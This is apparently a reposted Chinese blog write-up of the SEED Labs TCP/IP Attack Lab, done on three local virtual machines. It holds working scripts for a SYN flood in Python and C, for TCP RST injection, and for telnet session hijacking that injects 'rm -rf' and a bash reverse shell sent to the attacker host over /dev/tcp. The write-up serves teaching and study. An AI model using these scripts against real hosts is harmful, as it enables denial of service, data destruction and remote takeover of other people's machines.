【信息安全】seed-labs实验-TCP/IP Attack Lab

这篇具有很好参考价值的文章主要介绍了【信息安全】seed-labs实验-TCP/IP Attack Lab。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

环境搭建

Install SEED VM on VirtualBox
上面完成了一台虚拟机的基本配置,然后clone两台虚拟机,和原来的虚拟机一起,分别是attacker、victim和observer。
attacker是发起攻击的机器、victim是遭受攻击的机器和observer是观察用的机器,同时后面也将victim作为客户端、observer作为服务器。
Oracle VirtualBox复制虚拟机
seed labs – tcp/ip attack lab,杂谈,其他
观察三台机器的ip

# 使用ifconfig命令
attacker的ip是10.0.2.5
victim的ip是10.0.2.6
observer的ip是10.0.2.7

辅助

Wireshark的使用

Task 1: SYN Flooding Attack

大致原理:使用大量的半连接tcp占满tcp连接池,正常的tcp请求就无法被接受,无法被处理了。

victim机器的基本配置

# 在victim上关闭SYN Cookie
# SYN Cookie是对SYN Flooding的防御措施,默认是1,即开启
sudo sysctl -w net.ipv4.tcp_syncookies=0

# 清空tcp缓存
# 因为Telnet会给未成功完成登录的终端留一个监听,所以如果不清空tcp缓存,即使发动了SYN范洪攻击,第二次telnet也会登录上了
sudo ip tcp_metrics flush

查看泛洪攻击前victim上的TCP链接的状态
seed labs – tcp/ip attack lab,杂谈,其他

attacker发起攻击

攻击脚本:py文件(攻击速度慢,因为是虚拟机,半连接会自动重置,要是攻击的速度赶不上重置的速度就实验失败了)
注意:每次攻击前,需要在victim上清空tcp缓存

vim synflood.py
sudo python3 synflood.py
#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.0.2.6")
tcp = TCP(dport=23, flags="S")
pkt = ip/tcp
while True:
	pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
	pkt[TCP].sport = getrandbits(16) # source port
	pkt[TCP].seq = getrandbits(32) # sequence number
	send(pkt, verbose = 0)

攻击脚本:c文件(攻击速度块)
注意:每次攻击前,需要在victim上清空tcp缓存

vim synflood.c
gcc synflood.c -o synflood
sudo ./synflood 10.0.2.6 23
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

/* IP Header */
struct ipheader {
  unsigned char      iph_ihl:4, //IP header length
                     iph_ver:4; //IP version
  unsigned char      iph_tos; //Type of service
  unsigned short int iph_len; //IP Packet length (data + header)
  unsigned short int iph_ident; //Identification
  unsigned short int iph_flag:3, //Fragmentation flags
                     iph_offset:13; //Flags offset
  unsigned char      iph_ttl; //Time to Live
  unsigned char      iph_protocol; //Protocol type
  unsigned short int iph_chksum; //IP datagram checksum
  struct  in_addr    iph_sourceip; //Source IP address
  struct  in_addr    iph_destip;   //Destination IP address
};


/* TCP Header */
struct tcpheader {
    u_short tcp_sport;               /* source port */
    u_short tcp_dport;               /* destination port */
    u_int   tcp_seq;                 /* sequence number */
    u_int   tcp_ack;                 /* acknowledgement number */
    u_char  tcp_offx2;               /* data offset, rsvd */
#define TH_OFF(th)      (((th)->tcp_offx2 & 0xf0) >> 4)
    u_char  tcp_flags;
#define TH_FIN  0x01
#define TH_SYN  0x02
#define TH_RST  0x04
#define TH_PUSH 0x08
#define TH_ACK  0x10
#define TH_URG  0x20
#define TH_ECE  0x40
#define TH_CWR  0x80
#define TH_FLAGS        (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
    u_short tcp_win;                 /* window */
    u_short tcp_sum;                 /* checksum */
    u_short tcp_urp;                 /* urgent pointer */
};

/* Psuedo TCP header */
struct pseudo_tcp
{
        unsigned saddr, daddr;
        unsigned char mbz;
        unsigned char ptcl;
        unsigned short tcpl;
        struct tcpheader tcp;
        char payload[1500];
};

//#define DEST_IP    "10.9.0.5"
//#define DEST_PORT  23  // Attack the web server
#define PACKET_LEN 1500

unsigned short calculate_tcp_checksum(struct ipheader *ip);

/*************************************************************
  Given an IP packet, send it out using a raw socket.
**************************************************************/
void send_raw_ip_packet(struct ipheader* ip)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sock < 0) {
      fprintf(stderr, "socket() failed: %s\n", strerror(errno));
      exit(1);
    }

    // Step 2: Set socket option.
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
                     &enable, sizeof(enable));

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    sendto(sock, ip, ntohs(ip->iph_len), 0,
           (struct sockaddr *)&dest_info, sizeof(dest_info));
    close(sock);
}


/******************************************************************
  Spoof a TCP SYN packet.
*******************************************************************/
int main(int argc, char *argv[]) {
   char buffer[PACKET_LEN];
   struct ipheader *ip = (struct ipheader *) buffer;
   struct tcpheader *tcp = (struct tcpheader *) (buffer +
                                   sizeof(struct ipheader));

   if (argc < 3) {
     printf("Please provide IP and Port number\n");
     printf("Usage: synflood ip port\n");
     exit(1);
   }

   char *DEST_IP   = argv[1];
   int DEST_PORT   = atoi(argv[2]);


   srand(time(0)); // Initialize the seed for random # generation.
   while (1) {
     memset(buffer, 0, PACKET_LEN);
     /*********************************************************
        Step 1: Fill in the TCP header.
     ********************************************************/
     tcp->tcp_sport = rand(); // Use random source port
     tcp->tcp_dport = htons(DEST_PORT);
     tcp->tcp_seq   = rand(); // Use random sequence #
     tcp->tcp_offx2 = 0x50;
     tcp->tcp_flags = TH_SYN; // Enable the SYN bit
     tcp->tcp_win   = htons(20000);
     tcp->tcp_sum   = 0;

     /*********************************************************
        Step 2: Fill in the IP header.
     ********************************************************/
     ip->iph_ver = 4;   // Version (IPV4)
     ip->iph_ihl = 5;   // Header length
     ip->iph_ttl = 50;  // Time to live
     ip->iph_sourceip.s_addr = rand(); // Use a random IP address
     ip->iph_destip.s_addr = inet_addr(DEST_IP);
     ip->iph_protocol = IPPROTO_TCP; // The value is 6.
     ip->iph_len = htons(sizeof(struct ipheader) +
                         sizeof(struct tcpheader));

     // Calculate tcp checksum
     tcp->tcp_sum = calculate_tcp_checksum(ip);

     /*********************************************************
       Step 3: Finally, send the spoofed packet
     ********************************************************/
     send_raw_ip_packet(ip);
   }

   return 0;
}


unsigned short in_cksum (unsigned short *buf, int length)
{
   unsigned short *w = buf;
   int nleft = length;
   int sum = 0;
   unsigned short temp=0;

   /*
    * The algorithm uses a 32 bit accumulator (sum), adds
    * sequential 16 bit words to it, and at the end, folds back all
    * the carry bits from the top 16 bits into the lower 16 bits.
    */
   while (nleft > 1)  {
       sum += *w++;
       nleft -= 2;
   }

   /* treat the odd byte at the end, if any */
   if (nleft == 1) {
        *(u_char *)(&temp) = *(u_char *)w ;
        sum += temp;
   }

   /* add back carry outs from top 16 bits to low 16 bits */
   sum = (sum >> 16) + (sum & 0xffff);  // add hi 16 to low 16
   sum += (sum >> 16);                  // add carry
   return (unsigned short)(~sum);
}

/****************************************************************
  TCP checksum is calculated on the pseudo header, which includes
  the TCP header and data, plus some part of the IP header.
  Therefore, we need to construct the pseudo header first.
*****************************************************************/


unsigned short calculate_tcp_checksum(struct ipheader *ip)
{
   struct tcpheader *tcp = (struct tcpheader *)((u_char *)ip +
                            sizeof(struct ipheader));

   int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);

   /* pseudo tcp header for the checksum computation */
   struct pseudo_tcp p_tcp;
   memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));

   p_tcp.saddr  = ip->iph_sourceip.s_addr;
   p_tcp.daddr  = ip->iph_destip.s_addr;
   p_tcp.mbz    = 0;
   p_tcp.ptcl   = IPPROTO_TCP;
   p_tcp.tcpl   = htons(tcp_len);
   memcpy(&p_tcp.tcp, tcp, tcp_len);

   return  (unsigned short) in_cksum((unsigned short *)&p_tcp,
                                     tcp_len + 12);
}

结果:
查看泛洪攻击后victim上的TCP链接的状态,发现全是半连接状态
seed labs – tcp/ip attack lab,杂谈,其他
尝试使用telnet连接victim,发现连不上了
注意:攻击的脚本不要停止,因为是虚拟机,半连接会被自动重置掉,所以要一直攻击
seed labs – tcp/ip attack lab,杂谈,其他

Task 2: TCP RST Attacks on telnet Connections

大致原理:在tcp连接建立之后,虚拟RST报文,重置当前的tcp连接。因为telnet是基于tcp的,所以RST攻击可以强制中断telnet连接。
注:telnet退出:先按Ctrl+],然后在telnet命令行中输入quit

这里我们将victim作为客户端,observer作为服务器,victim使用telnet远程登录observer,接着attacker发送虚拟RST报文中断这个连接。其中的关键就是构造虚拟RST报文,相关信息可以通过wireshark捕获到,下面是实验流程:

observer打开wireshark进行抓包(基本环境可能配置完了,直接点开始就好了)

victim使用telnet远程登录observer
seed labs – tcp/ip attack lab,杂谈,其他
在wireshark上可以找到对应的报文信息,我们是想模拟服务器给客户端发送RST报文,所以找的就是最新的服务器发给客户端的报文。注意观察源ip、目的ip、源端口、目的端口,只要确定没有问题了,再看下一条的序列号和ack。
seed labs – tcp/ip attack lab,杂谈,其他
根据上面的信息构造RST报文:

vim RST.py
sudo python3 RST.py
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.0.2.7", dst="10.0.2.6")
tcp = TCP(sport=23, dport=43786, flags="R", seq=2604418268)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)

结果:
发现客户端的telnet连接被中断了
seed labs – tcp/ip attack lab,杂谈,其他

Task 3: TCP Session Hijacking

大致原理:在tcp连接建立之后,虚拟ACK报文,发送攻击者的数据。因为telnet是基于tcp的,所以会话劫持攻击可以嵌入攻击者的shell指令。

这里我们将victim作为客户端,observer作为服务器,服务器上有个文件new.txt,victim使用telnet远程登录observer,接着attacker发送虚拟ACK报文删除new.txt。其中的关键就是构造虚拟RST报文,相关信息可以通过wireshark捕获到,下面是实验流程:

在服务器上创建文件
seed labs – tcp/ip attack lab,杂谈,其他
客户端远程登录服务器
seed labs – tcp/ip attack lab,杂谈,其他
在wireshark上可以找到最新的报文信息,最新的是客户端发给服务器的,那我们模拟客户端再发一条,只需要改变序列号就好了
seed labs – tcp/ip attack lab,杂谈,其他

vim Hijacking.py
sudo python3 Hijacking.py
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.0.2.6", dst="10.0.2.7")
tcp = TCP(sport=60416, dport=23, flags="A", seq=3016242569, ack=691405153)
data = "rm -rf new.txt"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)

结果发现:文件删除成功,并且客户端的光标被锁死,无法输入命令(这个是因为客户端的终端失去了正确的ack与seq,既无法发出信息,也无法接收信息,甚至无法退出。)

Task 4: Creating Reverse Shell using TCP Session Hijacking

大致原理:这个实验的原理和上面那个实验几乎是一样的。

这次我们嵌入的命令是将shell控制台发送出去,攻击者接收这个控制台,就可以实现对于服务器的控制了。攻击者要接收这个控制台,我们就在攻击者上开启一个端口监听这个信息就好了,下面是实验流程:

# 攻击者开启9090端口的监听,待会就将shell控制台发送到这个端口上
sudo nc -lnv 9090

客户端远程登录服务器
seed labs – tcp/ip attack lab,杂谈,其他
在wireshark上可以找到最新的报文信息,最新的是客户端发给服务器的,那我们模拟客户端再发一条,只需要改变序列号就好了
seed labs – tcp/ip attack lab,杂谈,其他

vim Hijacking.py
sudo python3 Hijacking.py
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.0.2.6", dst="10.0.2.7")
tcp = TCP(sport=47522, dport=23, flags="A", seq=1169866989, ack=3951741091)
# 这个命令就实现了将控制台发送给攻击者的9090端口的作用(大致意思是这样的 但语句还是有点复杂的)
data = " /bin/bash -i > /dev/tcp/10.0.2.5/9090 0<&1 2>&1\r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)

结果:攻击者与服务器建立了连接,比如使用ifconfig命令查看ip,接下来攻击者就可以为所欲为了
seed labs – tcp/ip attack lab,杂谈,其他文章来源地址https://www.toymoban.com/news/detail-780736.html

到了这里,关于【信息安全】seed-labs实验-TCP/IP Attack Lab的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络攻防技术-Lab5-shellcode编写实验(SEED Labs – Shellcode Development Lab)

    网络攻防技术实验,实验环境、实验说明、实验代码见 Shellcode Development Lab 1) 编译mysh.s得到二进制文件 2) 执行 1)中的二进制文件 ,结果如下图, 我们 看到运行mysh之前的PID与运行mysh之后的PID是不同的,证明我们通过mysh启动了一个新的shell。 3) 获取机器码,以便进一步

    2023年04月13日
    浏览(43)
  • Packet Sniffing and Spoofing Lab(报文嗅探&欺骗SEED 实验)

    本次实验的目的有两点:学习使用报文嗅探欺骗的工具、理解其背后的原理。 本次实验使用处在同一局域网下的三台机器,使用docker运行,其文件在官网上可以下载,具体使用方法可以参考我的PKI实验报告。网络拓扑如图: 1.1 嗅探报文 最简单的一个嗅探代码,利用 ifconfi

    2024年02月07日
    浏览(41)
  • 【SEED Labs 2.0】V*N Tunneling Lab

    本文为 SEED Labs 2.0 - V*N Tunneling Lab 的实验记录。 虚拟专用网络 (V*N) 是建立在公共网络(通常是 Internet)之上的专用网络。V*N 内的计算机可以安全地进行通信,就像它们在与外部物理隔离的真实专用网络上一样,即使它们的流量可能通过公共网络。V*N 使员工能够在旅行时安全

    2024年02月10日
    浏览(43)
  • 【SEED Labs 2.0】Transport Layer Security (TLS) Lab

    本文为 SEED Labs 2.0 - Transport Layer Security (TLS) Lab 的实验记录。 现在越来越多的数据传输是通过互联网完成的。然而,当数据通过这种不受保护的公共网络传输时,它们可以被其他人读取甚至篡改。密码算法有很多种,即使是同一种算法,也有很多参数可以使用。为了实现互操

    2024年02月11日
    浏览(42)
  • 【SEED Labs 2.0】Public-Key Infrastructure (PKI) Lab

    本文为 SEED Labs 2.0 - Public-Key Infrastructure (PKI) Lab 的实验记录。 如今,公钥密码学已经成为了安全通信的基础。但是当通信的一方将其公钥发送给另一方时,它会受到中间人攻击。问题在于无法验证公钥的所有权——即给定公钥及其声称的所有者信息。我们如何确保公钥确实由

    2024年02月07日
    浏览(55)
  • 【SEED Labs 2.0】Virtual Private Network (V*N) Lab

    本文为 SEED Labs 2.0 - Virtual Private Network (V*N) Lab 的实验记录。 本实验要求完成 V*N 的实现。其应当支持 TUN 建立、隧道加密、服务器认证、客户端登录、多用户等功能。 本实验的实验手册使用多虚拟机与 C 语言完成,而我们希望直接 使用 docker 和 Python 。我们一步到位完成了所

    2024年02月07日
    浏览(37)
  • 《计算机网络自顶向下》Wireshark实验 Lab4 TCP

    《计算机网络自顶向下》Wireshark Lab + 套接字编程作业 + 杂项实验室编程作业 全实验博客链接 各位好 啊 学计算机想要学好真的还是挺难的 说实话 科班学计算机如果想要花大量的时间去学 只能把平时的课程大部分时间不去上 如果班级管理严格或者说 各种因素让你不得不去上

    2023年04月09日
    浏览(76)
  • [SEEDLabs] Meltdown & Spectre Attack Labs

    系统安全分类下的两个实验,放在一起写。Meltdown 和 Spectre 是两个关于体系结构的漏洞,主要是利用了缓冲延时的侧信道攻击方法。 这次实验用的是官方网站发布的预装环境的Ubuntu16,看官网的说明meltdown的大部分的实验在Ubuntu20上面也可以做,但是还是有不行的,spectre的话

    2024年02月05日
    浏览(37)
  • Wireshark TCP实验—Wireshark Lab: TCP v7.0(计算机网络自顶向下第七版)

    What is the IP address and TCP port number used by the client computer (source) that is transferring the file to gaia.cs.umass.edu? 根据数据包中的 tcp-ethereal-trace-1 ,其源 IP 地址为 192.168.1.102 192.168.1.102 192.168.1.102 ,端口号为 1162 1162 1162 。 What is the IP address of gaia.cs.umass.edu? On what port number is it sending and re

    2023年04月09日
    浏览(45)
  • 【SeedLab】ARP Cache Poisoning Attack Lab

    目录 实验手册 实验环境 Task 1: ARP Cache Poisoning Task 1.A (using ARP request). Task 1.B (using ARP reply). Task 1.C (using ARP gratuitous message).  Task 2: MITM Attack on Telnet using ARP Cache Poisoning Task 3: MITM Attack on Netcat using ARP Cache Poisoning ARP Cache Poisoning Attack Lab          本节任务需要通过packet伪造发起

    2024年02月09日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包